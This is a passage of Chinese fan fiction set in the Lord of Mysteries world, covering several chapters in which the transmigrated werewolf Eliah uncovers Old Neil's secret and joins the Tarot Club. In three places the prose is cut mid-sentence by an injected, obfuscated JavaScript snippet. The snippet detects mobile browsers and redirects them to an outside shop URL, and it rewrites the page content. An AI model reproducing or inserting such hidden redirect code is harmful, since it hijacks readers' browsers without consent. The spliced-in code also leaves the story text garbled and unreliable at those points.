伊莱亚自然是高高兴兴地接过:“非常感谢您!” 然后把这几张纸和今天准备在这里看完的资料放在一起,预备着等会再看。 “你们小年轻好像都挺喜欢罗塞尔日记啊,上次克莱恩也对这个挺好奇的。” “克莱恩也关注这个?那个占卜家?” “对,他是占卜家序列的,也是值夜者的新人,就比你早几天进我们小队。在这方面,你们倒是可以有共同语言了。”尼尔的脸上依旧带着笑容。 伊莱亚若有所思地点点头,继续埋首于资料,时不时询问几个问题,而尼尔也都一一给出了解答。 一整个白天过去,伊莱亚也把资料看完了。 这时候已经不算早,尼尔已经下班并且交代过他,让他走的时候把资料收拾好放在桌上,然后把门锁好就行。 他深吸一口气,感觉自己狼人的身体都已经有些滞涩疲惫了,于是长长的伸了个懒腰,关上了煤气灯和门,又和身为“不眠者”序列,对睡眠的需求极少,所以常在夜间负责值班的伦纳德打了个招呼,走出了黑荆棘安保公司。 在他背后,黑发碧眼的英俊值夜者把目光从伊莱亚的背影上挪开,一副沉思的样子,声音压的很低:“老头,你看的出来他是什么人吗?” 8.老尼尔的不对劲 周一早晨,黑荆棘安保公司。 已经快要和值夜者小队的众人都混个面熟的伊莱亚朝罗珊点了点头,进去找邓恩了。 他在门上敲了几下,等到里面传来低沉的“请进”时才推开门,向着身为值夜者小队队长的邓恩打了个招呼。 “伊莱亚?有什么事情吗?”邓恩其实还对自然而然想要加入值夜者并且真的实际行动,每天都来打卡的伊莱亚有点惊讶。 毕竟伊莱亚确实是一个身分不明,途径邪异且序列较高的非凡者。身为序列七的“狼人”,也具有相当程度的危险性。 不过,身为女神的虔诚信徒,邓恩不会否定女神的任何决定,更何况他知道,在当今的鲁恩,除了横空出世的伊莱亚之外,唯一的明面上的女神眷者只有黑夜教会的教宗。 那可是深受女神信任,直属于女神的序列二级别的天使。 和这样一位天使殿下同列为女神眷者,就算伊莱亚的身份再可疑再奇怪,也必定会成为被所有黑夜教会所重视、接纳的存在。 不过邓恩还是困惑于这位陌生的眷者主动要来鲁恩,主动加入值夜者的目的。 但凡他提出要求,无论是鲁恩首都的大教堂,还是位于凛冬郡的黑夜教会总部,都会高高兴兴地欢迎这位尊贵的被女神眷顾的幸运儿。 但是廷根确实只是一座普通的小城,平凡到没有任何特殊之处,在这里驻扎的值夜者小队都只有不到十个,并且最高也不超过序列七的非凡者。 这令邓恩忍不住去思考,却想不出廷根会被当时记忆全无、来历不明的伊莱亚坚定选择的理由。 但是他并不会把这些嘈杂的思绪说出来,只是相信女神的背书,并且做好自己身为值夜者队长的责任。 “我已经把苜蓿号相关的消息发给相关人员了,没意外的话这几天之内就会有消息,到时候我会通知你的。”灰眸的中年人面容沉静,向着眼前的年轻人说道。 “好的,队长你辛苦了。不过我想问的不是这件事。”伊莱亚的声音下意识停顿了一下,感觉身为一个刚来没两天的人提出这种话题不太好。 但是比起初来乍到就出事,还是可能的非凡失控更为重要。 于是他继续开口:“我想问一下,尼尔先生是什么途径。” “他是窥秘人途径的序列九。”邓恩回复的很快,“低序列的窥秘人没有什么战斗力,所以他主要工作就是负责和非凡相关的文职事务。” “窥秘人……”伊莱亚努力回忆了一下自己以前打游戏的时候遇到过的窥秘人,然后很遗憾的意识到他对这个序列的认识主要集中在五花八门的炫彩星光法术和信息流轰炸上,对于身为序列九的窥秘人具体有哪些能力反而没什么印象。 不过,根据他昨天看到的那点非凡知识,窥秘人序列的顶端似乎是个邪神。叫什么、隐匿贤者? 于是伊莱亚又问:“这个序列是不是很擅长仪式魔法?” 邓恩的表情比刚刚严肃了一些。他感觉有点不对劲,但是还是回答了伊莱亚的问题:“对,尼尔精通很多常见的仪式魔法。他怎么了吗?” “那他有告诉你们他具体用过什么样的仪式魔法吗?我感觉他身上有种邪恶的气息。”伊莱亚一边思考着描述方式一边说道,“不知道是从哪里沾染的,但是也不像是一个不出外勤、不接触失控非凡者的文职人员会有的。” 在邓恩陡然凝固的视线里,伊莱亚说完了自己的推测:“我看那个资料里,窥秘人序列上面有邪神,所以我在想,他会不会是被高层非凡者或者神明影响到或者污染了?” 邓恩的表情越发沉凝了,甚至带上了几分并不明显的痛苦与压抑。 “他目前的表现并没有什么异状。我会找机会看看他的状况。你能看出具体是什么方面的邪恶气息吗?” “我只能确定不是黑暗和诅咒相关的,其他的就不好说了。”伊莱亚道,“对了,如果方便的话,查一下他平常去哪里比较多,然后让灵性高一点的途径的人去调查。没准是他去了什么非凡气息比较乱的地方,然后不小心沾上的。” 回眸的中年人保持着那种沉重的沉默,点头:“好。我会申请相关的封印物,找时间带克莱恩一起去调查一下。如果有问题,我会告诉你的。感谢你提出的疑点。” 克莱恩?哦,对。是值夜者队伍里唯一的占卜家,这个途径的特色就是灵性很高、占卜很强、直觉敏锐,在调查非凡相关事件方面正合适。 伊莱亚点点头,想着已经交代完了,就准备告别队长,离开办公室。 还没走到门口,邓恩有喊住了他,“等一下,尼尔今天要给克莱恩上仪式魔法课,他跟我说你要是来了就去武器库找他,让你一起上课。” “今天就去吗?我才刚刚说……”才刚刚说到老尼尔的问题。 “咳,暂时先把他当做完全正常的人来看待吧,先不要让他发现你的态度。要是你路上发现有问题,可以告诉我。如果你确定自己能解决的话,直接动手也没关系。但是条件允许的话……尽量不要伤到他。”邓恩停顿了一下,补充道。 “好。那我先过去了?” “去吧。” 伊莱亚走出门,正好看到并肩而行的尼尔和克莱恩。 尼尔注意到他的身影,叫住了伊莱亚:“你来了?正好,跟我们一起走。” 伊莱亚眨眼:“去哪?” “去我家,这边地方太小施展不开。我教你们怎么用仪式魔法。”尼尔笑呵呵的,除了他身上那种微妙的气息之外毫无异常之处,完全是一副温和慈祥的老者的样子。 老尼尔的家是独栋的房子,装修精致而温馨。走进门廊就是宽敞的客厅,桌椅和钢琴的摆放给人以舒适的感觉。 ……如果钢琴上没有半透明的灵体在按琴键的话,这里确实很正常。 伊莱亚看着那个面目不算清晰但是仍能看出大概是个面容秀丽的年轻女性的灵体,又看着她低垂着头,颇为投入的弹琴,手指却穿过琴键,没传出任何声音。 老尼尔的声音正好传入耳畔:“我妻子过世很多年了,她以前很喜欢音乐。” “尼尔先生……”伊莱亚目光方向没变,“您的妻子是不是二十多岁,盘着头发,穿着衬衫领上衣和格子长裙,喜欢坐在那里弹钢琴?” 老尼尔正准备讲仪式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348780|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔法的声音猛然顿住了,就好像是被什么东西突然掐住了喉咙。 克莱恩下意识扭头,看向伊莱亚所注视着的方向,但是在那里,在他的视线里,钢琴凳上空无一物,只有在光照下现形的飞尘。 哪怕开了灵视也一样什么都看不到。 而此时,老尼尔已经扔下手里的仪式材料,扑到伊莱亚面前抓着他的衣服了:“你说什么?你看到莎莉丝特了?她在哪里?” “刚刚还坐着凳子上弹钢琴呢,哦现在站起来了,走过来了,现在……”伊莱亚后退了两步,拉开自己和尼尔之间的距离,指了一下老尼尔身边的空地。“她现在站在你旁边看着你呢。” 很难形容此时老尼尔的表情。 那是一种近乎惊恐的狂喜与惊讶,混杂着奇异的痛苦与愧疚,但很快,似乎又带上了微妙的释然与平静,有种“终于有人知道了”所以沉默接受一切的既视感。 “为什么你能看到我就看不到?她真的一直都在吗?我做的一切都是有用的吗?莎莉丝特是在等我吗?”大喜大悲之下,身体本来就不算好的老尼尔险些摔倒,被扶着坐到了客厅的椅子上,但是仍然在激动的情绪下不停深呼吸。 伊莱亚注视着表情不停变化的尼尔,又看向慌乱不知所措却怎么都无法接触到老尼尔的身体的年轻女性,熟练地叹了口气。 “我不知道为什么我能看到,但是我知道,如果你再难受下去,她就要更难过了。” 老尼尔的声音戛然而止。他慌忙地左顾右盼,试图寻找他无法肉眼看见的爱人。 克莱恩站在旁边没吭声,默默地警惕。虽然他看不见那位“老尼尔的妻子”,但是他可以确定的是,老尼尔此刻的表现不对劲。 伊莱亚在心底忏悔:对不起队长,我看出来老尼尔什么情况干脆就先莽了。 然后他继续刚才的话题:“我希望你能告诉我,你想干什么?你看我都能看见这位小姐,说不定我能帮上忙呢?” “对,对。”老尼尔忙不迭地点头,面色似乎在一瞬间衰老了不少,却又散发出几分精气神来。 “我想用生命炼成复活莎莉丝特的身体,然后把她的灵魂召唤出来。”老尼尔低声说,“你应该不知道生命炼成吧,这是个仪式……” “我知道。”我不仅知道生命炼成,还知道这是耕种者途径的序列四的能力,两手一拍喊啥来啥,土石钢铁都能被塑炼成魔像,打架干活都好用。 当然也可以炼出人类的身体。 “生命炼成能复活人没错,但是这是古代炼金师的能力吧,耕种者途径的半神。”伊莱亚有些烦躁地挠头,“但是除了半神及以上的耕种者之外,没有任何途径能通过炼金制造完全正常不带任何缺陷的人体。” “但是就算有了完美的人体,也不能保证能找到对的灵魂,能把正确的灵魂引导进身体,不能保证灵魂完整,更不能保证灵魂里没掺杂着别的灵魂的碎片。” “尼尔先生,你要怎么凭借序列九的窥秘人的能力做到这些呢?” “你又是怎么知道这个仪式魔法的呢?” 伊莱亚注视着在他的声音里陷入沉默的老尼尔。 9.怎么就没多记魔药 正穿着一身正装,坐在首座,双手十指交叉撑着下巴,安静等待“正义”和“倒吊人”书写完毕的克莱恩沉默了一瞬。 作为在座几人中唯一不是首次见到伊莱亚,也是唯一认识伊莱亚的人,他当然知道自己没有让伊莱亚找过罗塞尔日记,更没有让他记下内容带到灰雾之上。 不过伊莱亚会说中文,那么在偶然中看到罗塞尔日记并且认出内容也正常,而作为能读懂日记内容的人,记住日记的难度更是比读日记如读天书的“正义”和“倒吊人”要小的多。 就是不知道伊莱亚看到的日记是哪里的,如果是在黑荆棘看到的…… 克莱恩在心底暗叹一口气:那些老尼尔正在研究的日记,自己也看过。 希望能是新的内容吧。 他微笑着抬手,在伊莱亚面前具现出同另外两人一样的羊皮纸和笔,用属于“愚者”的平稳声音回应“高塔”伊莱亚:“好。” 时间不长,三人都把记下的罗塞尔笔记尽数书写,克莱恩把羊皮纸都拿在手里,一张张翻看。 不出所料,认识中文的“高塔”伊莱亚写的清晰而整齐,一看就是把几页的内容集中在一起;不认识中文的“正义”小姐和“倒吊人”先生的默写则带有一定错漏,当然,这种程度还不会影响汉语的阅读。 罗塞尔的“黑王座”号、与玛蒂尔达的婚约、对“通识者”魔药的认识与扮演*、女儿贝贝和亚瑟·莫德雷德…… 克莱恩的嘴角在看到来自伊莱亚的日记时忍不住抽了一下。 好有梗的假名。 传说中的不列颠国王、圆桌骑士的首领亚瑟·潘德拉贡和他叛逆的儿子、圆桌骑士的成员莫德雷德。一个名字把一对出名的骑士父子凑在一起,身份又是个骑士,很难不让人猜测这位也是个穿越者啊。 毕竟克莱恩原身的记忆告诉他,这个世界可没有《不列颠诸王史》和《亚瑟王之死》。 不过他没有看到关于这位“前辈”的更多消息,所以不会直接下判断。 把这位疑似穿越者的消息记下,克莱恩放下日记,抬头:“好了,有什么问题吗?” …… 愚者对日记的阅读结束后,就是解答问题的时间。伊莱亚严谨地记下塔罗会的流程,严肃倾听“正义”关于扮演法的提问和愚者的解答。 他在玩游戏的时候倒是知道扮演法,这是所有玩家口口相传的升级必备方法,不扮演就没法升级,就算强行喝魔药也会直接失控重开。为了快速完成扮演,每一个囚犯途径的玩家都会熟练的在开局把自己送进监狱……咳咳。 伊莱亚收束心神,专注地听着“倒吊人”关于“亵渎石板”的科普。这是阿尔杰对愚者解答问题的报酬,也顺便让他这个神秘学文盲蹭了一节小课。 作为在场最有经验,懂的最多的非凡者,阿尔杰对非凡知识的了解几乎相当于剩下三人总和的几倍。 在身为“观众”的“正义”小姐和不知道序列但是坐的离他很近的“高塔”两人灼灼的目光里,阿尔杰感到了一丝微妙的压力,努力压榨脑海中的回忆。 等到“倒吊人”阿尔杰讲完,“正义”奥黛丽紧接着提出了新问题:她已经成功晋升了观众,迫不及待想要知道之后的魔药配方和序列名称。 伊莱亚稍有点无奈。囚犯途径的全序列魔药配方他都很清楚,但是除了囚犯途径之外,他就只记得别的途径的序列能力了。 要知道,魔药配方,尤其是高序列配方,各个贵的相当夸张。 要是上辈子能把配方全背下来,他都不敢想能在这边卖多少钱。 “观众的话,序列7‘心理医生’可以具备精神攻击能力,序列6可以增强体质,还可以心理学隐身,让别人看不见你;等到了序列5就可以在自由进出并操纵他人梦境……总的来说是非常符合观众途径喜欢站在幕后操纵一切的性格的一系列能力。”伊莱亚看了眼旁边回答“正义”问题的“倒吊人”,懒洋洋地补充道。 “再往上走的话观众的能力相当夸张,强大的很直观,不过现在这么早就说这些也没太大意义,”他叹了口气,“还有就是,我只和观众打过架,不知道观众的配方。” “不过真的急的话可以直接吃非凡特性……”在“正义”那被灰雾模糊了也还是能看出些许愣怔的目光里,伊莱亚紧急撤回了这个对于真实世界来说有点过于野蛮也过于“非凡”的建议。 “当然最健康最无害的还是用材料调配魔药喝,不急的话这样就最好。”他谨慎地补充道。 灰雾之上陷入了短暂的寂静。 克莱恩忍不住吐槽:伊莱亚同学,你以前到底是干什么的,为什么会和序列5的非凡者打架?你不是才序列7吗? 阿尔杰用余光瞥了一眼隔壁那个看起来挺严肃但是似乎还是带着点藏不住的散漫样子的“高塔”,默默提高对其的警惕:他没想到这个神秘的集会除了刚从普通人成为非凡者的“正义”和序列8的自己之外,还会来一个估计是中序列甚至高序列的非凡者。 他应该调整对愚者和对塔罗会的认知了。阿尔杰想。 奥黛丽思索着来自“高塔”的消息,深感“观众”拥有的能力都是她所喜欢的,对自己所选择的序列更加满意。 她用“观众”的能力调节了一下自己的心情,看向伊莱亚:“谢谢高塔先生!请问我需要为这些知识支付多少报酬呢?” “报酬?”伊莱亚愣了一下。 如果他关于“塔罗会全员天使”的记忆没错的话,眼前的“正义”作为塔罗会元老,绝对会是未来天使的一员,这些知识迟早会成为她的常识。他这些话最多能让她对自己的未来早点有些念想。 如果他知道的是魔药配方,他会直接卖,但是一点能力相关的消息而已,他并不觉得这算什么很值得支付钱财的东西。 “报酬就不用了,一点点能力而已。感谢愚者就好了。”他看向“正义”,语带笑意,顺嘴赞美了一下愚者,“是愚者先生的伟力让我们得以在这里交流。” 奥黛丽想了想,认真赞同,跟着向首座的神明道了一句“感谢愚者先生!” 奥黛丽的问题提完了,“愚者”又让“正义”和“倒吊人”有空的时候尝试他的三段式尊名。 顺便还看了一眼伊莱亚:“你就不用再试了。” 伊莱亚高高兴兴地点头。他当然明白愚者这样说的意思,毕竟他第一次见到愚者时就是因为念了尊名才被拉上灰雾的。 他并不知道坐在他旁边的“倒吊人”的思路已经开始飘向“‘高塔’明明第一次来,和愚者的关系却如此密切, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364690|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会是愚者眷者”了。 一次塔罗会的时间不算很长,毕竟总共也就四个人,再怎么聊天也不会花费太长时间,更何况这是一周一次的稳定集会,不急的话题完全可以留到以后再说。 “正义”和“倒吊人”先后向愚者告别,在深红的光芒里消失了,灰雾弥漫的神殿里只剩下还坐在椅子上的愚者和伊莱亚。 伊莱亚下意识坐正了一些。他猜测这是愚者要和他讲另外两人不变听到的话题。 克莱恩看着比起现实中见到的伊莱亚严肃了不少的“高塔”,轻笑了一下,敲敲桌子,让灰雾把“正义”和“倒吊人”先前复写出的日记推到伊莱亚面前。 “这是我之前让他们收集的罗塞尔日记。”他此刻用的是汉语,“你看的懂吧?” “当然。”伊莱亚也切换了语言,双手接过日记,认真看了一遍,忍不住为神秘空间里那位传奇穿越者前辈的奇妙人生而惊叹。 ……呃,罗塞尔前辈在私生活方面也挺符合男频龙傲天的特点呢。 等到他把日记翻完,克莱恩打了个响指,让羊皮纸化为灰雾消散在空气中,发问:“你对你的记忆了解多少?” 为什么时而像个资深非凡者,时而像个初入非凡世界的普通人?为什么表现出失忆的样子,却又认识伦纳德,了解观众的序列五? 克莱恩想问的东西其实很多,但是身为神明“愚者”,不该把问题问的这么详细又这么浅显。这不符合神明应有的逼格。 于是他提出简单的问题,希望伊莱亚能理解他的意思,扩展开来仔细回答。 伊莱亚再怎么对愚者有好感也不会说自己是“穿进了游戏”,他的直觉在疯狂报警,告诫他绝对不能将那过于奇异的故事告诉故事里的神明。 所以他思考着说出了自己能说出的东西:“我觉得我的记忆是混淆的,我似乎失去了很多关于过去的记忆,但是也多出来很多关于未来的记忆,并且不知道这些记忆从何而来。而且,我确信了,我记忆里信仰的愚者就是您。” “我信仰的是未来的您。” 他望向那个被灰雾遮掩了一切,显得面目模糊却庄严而崇高的神明。 “我看见您未来有无数的教堂和无数的信徒,成千上万的民众因为您而得到拯救,虔诚的信仰着您,敬爱着您。” 虽然身处灰雾之中,伊莱亚却依稀感觉自己看见了游戏中那个会向虔诚祈祷着给予天使的赐福,对玩家们纳头便拜“愚者就是我义父!”的大喊也会平淡面对的遥远的存在。 有那么一瞬间,克莱恩觉得自己就是互联网上那个“女孩手指指自己.jpg”的表情包。 你说的是我吗?就算我确实有点秘密,有点奇遇,有一个神秘学网络交流平台(塔罗会),还伪装神明,可我现在真的还只是一个序列9? 你这个“未来”,是多久以后的未来啊?我怎么可能会成为那么强大神秘的存在? 克莱恩感觉自己快要压不出吐槽的表情了,赶忙操纵灰雾把自己的脸遮挡的更严实了一点。 不过他也开始思考,如果伊莱亚的记忆是真的,看到的也真的是自己的话,他未来绝对不是一个普普通通的廷根值夜者,绝对不是一个低序列的非凡者。 那么,他的未来到底发生了什么? 10.与愚者先生的对话 克莱恩从不是什么自命不凡的傲慢之徒,但是他也不认为,自己的这一场穿越以及穿越以来见到的一切是一个真正的普通人会遇见的。 不说这片通过转运仪式就能抵达并操纵的灰雾,更不用说他那能在梦境和通灵中保持完全清醒的奇怪能力,光是他第一次在这个世界醒来时太阳穴上那个在快速愈合的贯穿枪伤,就意味着他已经和平凡绝缘了。 但是他更不认为自己会晋升到很高的序列。克莱恩想。 他对现在的生活挺满意的,家庭温馨和睦,兄妹都很好;工作稳定,同事友善而可靠,工资更是体面且可以完全覆盖生活;非凡方面,魔药稳步消化,身在官方组织也不用担心被追杀。在他穿越以来,虽然有些波折和危险,但一切都在稳步向好,未来也是显而易见的明朗。 除了想找回去的方法之外,他没有什么离开这个平淡但稳定的生活的念头,更没有什么一定要成为强者的意图。 廷根的值夜者序列最高的就是队长邓恩,他是不眠者途径的序列七“梦魇”。如果想要好好呆在廷根的话,克莱恩多半也不会晋升到比邓恩更高的位置了。 但这个预想和伊莱亚口中那个不算明确的未来有着鲜明的冲突,更何况,以他想要回家的目标,如果已经强大到了伊莱亚口中那种“全世界都是教堂和信徒”,比现在各国正神还要强大的程度,还是留在这个世界,没能回到故乡的话…… 估计他这辈子都回不去了。 克莱恩不是很想相信伊莱亚的话,也不愿意去赌伊莱亚信仰的“愚者”真的是自己的可能。但是他今天按照老尼尔教授的仪式魔法给自己编咒文的时候,鬼使神差的意识到,自己冥思苦想出来的能指向他这个“愚者”的三段式咒文,和伊莱亚第一次找他时念的那段一模一样。 甚至于,他想起在深红星辰里看到的伊莱亚祭祀的场景,那个四份主食的布置并不符合当下任何一位神明的审美,却是真的可以取悦到克莱恩这个喜好美食的新晋邪神。 也真的和转运仪式相符。 虽然在伊莱亚祈祷时克莱恩还没学会仪式魔法,但这一切巧合到让克莱恩怀疑那个仪式是自己教给伊莱亚的。 或者说,是未来的克莱恩教的。 如果相信伊莱亚关于未来的记忆是真的,就意味着克莱恩一定在之后遇到了什么让他完全改变人生规划的巨大波折;但是如果不相信伊莱亚的话,那不认识克莱恩和周明瑞,更不认识“愚者”的伊莱亚到底是怎么构思出指向“愚者”的仪式的呢? 但,抛开这些不讲,伊莱亚作为一个会说中文的穿越者,作为一个序列七,又是怎么打过序列五的观众,怎么知道还未抵达的未来的?神秘学里面有关于预言的能力吗?就算有,预言的非凡能力真的能看到伊莱亚所说的这一切吗? 克莱恩脸上还是保持着平静的表情,声音也没有丝毫波动,只是心里的思考宛如一团乱麻。 他看了一眼坐在高背椅上神情虔诚的伊莱亚,忍不住想:上次伦纳德还说我来黑荆棘之后非凡案件比以前多了,我看你身上的谜团也不容小觑啊。 …… 愚者在听完伊莱亚的话以后就陷入了沉思,轻敲着青铜桌面发出稳定而持续的“哒哒”声,这也是这片寂静的灰雾上唯一的声音。 伊莱亚在神明愈发威严而高远的身影前坐的越发端正了。 他没说假话,他脑子里现在的记忆是真的混成一团,现实的游戏的这个世界的上辈子的非凡的平凡的……各种各样的记忆碎片就像是被命运的大手打成一团又塞进他脑子里的浆糊。 早知道就选通识者了,阅读者也行,都能提升智商、记忆力和脑力。 结果他偏偏选了个拿智商换武力的途径。 虽然囚犯途径的战斗水平很让人满意,抛弃大脑两眼一睁就是莽也很爽,但是需要思考谋划的时候就很麻烦。 我早就说过每个不喜欢思考的战斗型非凡者都应该有自己的外置大脑队友,我真的不喜欢动脑。伊莱亚绷住严肃的外表,在内心翻滚爬行嘶吼。 没多久,他忽然意识到愚者敲桌子的声音停下了,于是停下思考,继续听愚者要说的话。 “我知道了,你还有什么其他想说的东西吗?”愚者的声音低沉但温和。 伊莱亚深吸一口气,他真的有希望跟愚者说的事情:“愚者先生,如果您有什么需要人去做而我做的到的事情,请尽管差遣我。” “嗯?”神明的声音无喜无怒,却带着一种淡淡的疑惑,“你不是黑夜的眷者吗?” 当时交代伊莱亚是女神眷者的电报还是克莱恩拿给邓恩的呢。 伊莱亚眨眨眼,移开目光。 就是因为已经当上了女神眷者但是还没当上愚者眷者我才这样说啊。 我成为女神眷者还是因为某个曾经的不明交易,但是愚者先生你都不认识我,当然不会有类似的“交易”。 那么我们就是从零开始的纯洁的神明和信徒的关系。 这样一来,我想趁早积累功勋,早日成为愚者教会大主教和愚者眷者,不算什么很奇怪的事情吧? 没别的意思,主要是想要这个称号。 ——就算游戏已经变成现实了也想要。 但伊莱亚当然不能这样把心里话说出来,于是他保持着一个信徒对神明应有的尊敬,语调里都满带着诚恳:“我并不清楚我为什么会成为女神的眷者。我对您的信仰才是最真挚最虔诚的。” “而且我觉得,在您才复苏不久的当下,正需要我这样有其他正式身份的信徒来为您助力。比起隐藏身份的野生非凡者和邪教徒,肯定还是正神旗下非凡者的身份更适合出面吧。” 伊莱亚同学,虽然我们都是教会旗下的非凡者,但是我真的感觉你的想法比我野多了。 克莱恩有点抓狂。 塔罗会的建立并没有什么很深层次的目的,主要是他意外召唤出来“正义”和“倒吊人”,然后又感觉一个线上平台可以有利于交流信息所以才建立的。 他当然也不是什么真的复苏神明,更没有什么可以以神明身份颁布给信徒的任务。神明的逼格也是需要维持的。要是他能以塔罗会的另一个成员的身份向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368141|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊莱亚下委托倒是不错,但是可惜,克莱恩目前并没有双开的能力。 伊莱亚只看到愚者沉默了一会,波澜不惊:“好。但是我目前不需要你去做什么,只需要像‘正义’和‘倒吊人’一样收集罗塞尔日记交给我就行。记得藏好身份,不要暴露你参加了塔罗会。” 不知道是不是错觉,伊莱亚感觉愚者似乎有点无奈,有点像他前世网上流行的“没招了”,给出的任务也不算复杂,只是塔罗会成员的常规要求罢了。 肯定是他多想了吧!愚者可是正经的神明,冷酷客观,想假装有感情都难,怎么会有这么充沛的人性来无语和无奈呢? “好了,回去吧。”愚者手随意地抬了一下,深红的光芒涌动,在快速的扩散之后包裹了伊莱亚的视线,然后便吞没了他全身,下一瞬,他感觉整个人都在下坠。 再睁开眼,伊莱亚还是坐在上塔罗会之前所坐着的椅子上。 仿佛什么都没有发生变化,灰雾之上的一切宛如梦境。 伊莱亚盯着手背上莫名出现又缓慢消失的四个黑点,意识到这刚好能构成小正方形的黑点,布局恰好和先前他向愚者祈祷时布置主食的方位一样。 等到手背上重新变成一片干净毫无异状的样子,他往椅背上一躺,任由视线凝固在空白的天花板上。 虽然塔罗会目前人不算多,但是绝对是肉眼可见板上钉钉的前途非常可期。而且这种跨越时空无视距离的线上交流,在这个最快的信息传递方式是电报的时代,其便利程度显而易见。 “正义”像是贵族小姐,服装风格挺保守的,等到之后了解一下各国服装就可以大概判断“正义”身处的国家了。当然,前提是她没有故意装扮成别国人的样子。 “倒吊人”的头发是蓝色的……没记错的话这好像是精灵后裔的颜色?按照塔罗会上他自己的叙述和衣着外貌来看,应该是个在海上工作的非凡者。 ……估计是水手途径的?精灵后裔多是天生的水手,而且这个途径也特别适合海上生活。就是不知道他具体是序列几。 想到这里,伊莱亚猛地坐起,甚至差点因为太用力而往前扑去。好在身为序列七的非凡者,他的身体控制能力还是很强的,最终没摔。 但他没在意这些,只是沉浸于思考之中,表情在变得越发震惊—— 他突然意识到,他刚刚看到的就是塔罗会全部的成员了。 一个愚者暂且不提,“正义”才序列九,“倒吊人”的序列看起来也不算很高,至少不会超过伊莱亚自己。 未来那个神明领导,天使成群,连他这种完全不关注剧情和设定的人都听说过的大名鼎鼎的神前集会;那个把在外神盘踞的星空漫游当成旅行,剿灭邪教如同砍瓜切菜的全世界最强团体—— 现在真的只有两个低序列非凡者和刚复苏的愚者? 空荡的房间里,暗红发的年轻人深深吸了一口气,捂住嘴,努力压制住自己快要放肆到让邻居受惊的笑声。 谁说这穿越不好的?这穿越太好了! 现在加入塔罗会,他就是未来的元老了! 11.为什么魔药能变性 黑荆棘安保公司。 “这是恩马特港那边送过来的关于苜蓿号惨案的详细报告,”值夜者队长邓恩坐在办公室里,把手中的一叠写满了密密麻麻的文字的资料递给伊莱亚,然后又从桌上的资料堆里翻出来一张带着画像的纸。 “这是新发来的内部通缉令,他叫特里斯,是苜蓿号惨案的制造者,和你所说的一样,他是一名‘教唆者’。” 伊莱亚看了一眼那张画像,是相当传神的素描,画上的人年纪不大,脸型偏圆,看起来气质相当温和。作为一个罪犯来说,他有着极具迷惑性的无害外表。 邓恩的声音低沉:“我们得到消息,他离开恩马特港之后就来到了廷根。不管是作为非凡者还是惨案的通缉犯,他都非常危险。我们都必须要想办法抓住他。” “抓人的话可以算我一个吧?我在这方面应该还是可以的。”伊莱亚一目十行地看了几页报告,又仔细打量了几下通缉令上微笑的面孔,抬起头认真地看向穿着一身黑色风衣的邓恩。 “当然。”邓恩沉稳点头,“我相信你的实力。” 穿越的这几天里,伊莱亚当然尝试过自己的非凡能力,也和值夜者中的非凡者有过切磋。 当然,作为力量、速度、敏捷性和自愈能力都相当强大,还能使用狼人化并掌握一些法术的“狼人”,伊莱亚的主要切磋对象是就同为序列七的邓恩。 也因此,邓恩对他的实力有了更深的了解,比如就算伊莱亚打架没什么章法,也没有系统的训练过,在双方都不使用法术的前提下,照样可以凭借极强的身体素质和本能反应和训练多年的邓恩打的有来有回。 这并不算奇怪,毕竟就算是相通的序列等级,不同途径的魔药对非凡者的影响也是完全不同的。邓恩是序列七的“梦魇”,能自由出入梦境,拉人入梦甚至改写梦境内容,但是并不会增强身体,伊莱亚的从序列九到序列七的每一种魔药都会增强现实层面的战斗力,而有的途径……极大的增幅了智商,但是直到序列七才可以在战斗方面比普通人略强一些呢。 话题扯远了,总之,作为“因为太怕打输所以全点在战斗和疯狂了”的囚犯途径,伊莱亚的实力还是有保障的,当然也可以顺理成章的加入外勤行动。 “我们昨晚已经巡查过我们的教区了,确定没有教唆者的踪迹,而代罚者和机械之心现在正在各自的辖区搜查通缉犯……”邓恩的声音被一阵灵性的波动打断了。 他和伊莱亚不约而同的抬头,看向空气中缓缓浮现而出的形体类似于水母却流光溢彩五颜六色的灵体。虽然说是水母,但是它的形体都带有一种奇妙的虚幻感,似乎时而在现实世界,时而在某个虚幻的世界中。 如果这水母没有在办公室的空气里游动,可能会有人把它当做水族馆的罕见新品种吧。 “这是代罚者队长的信使。”邓恩接过水母触手从身体中掏出来的信纸,一边展开一边分神对伊莱亚解释了一句。 神秘学快递员,我懂。 然后伊莱亚就看着邓恩快速整理了一下衣服,带上礼帽,“走吧,他们的线人在恶龙酒吧附近发现了特里斯的踪迹,正在准备埋伏他。你叫上伦纳德,我们现在过去。” 伦纳德是序列八的“午夜诗人”,在廷根的几位值夜者当中算是除了邓恩和伊莱亚之外最强大的,作为值夜者的经验也非常丰富。 因此,伊莱亚对叫上伦纳德的要求毫不意外。 …… 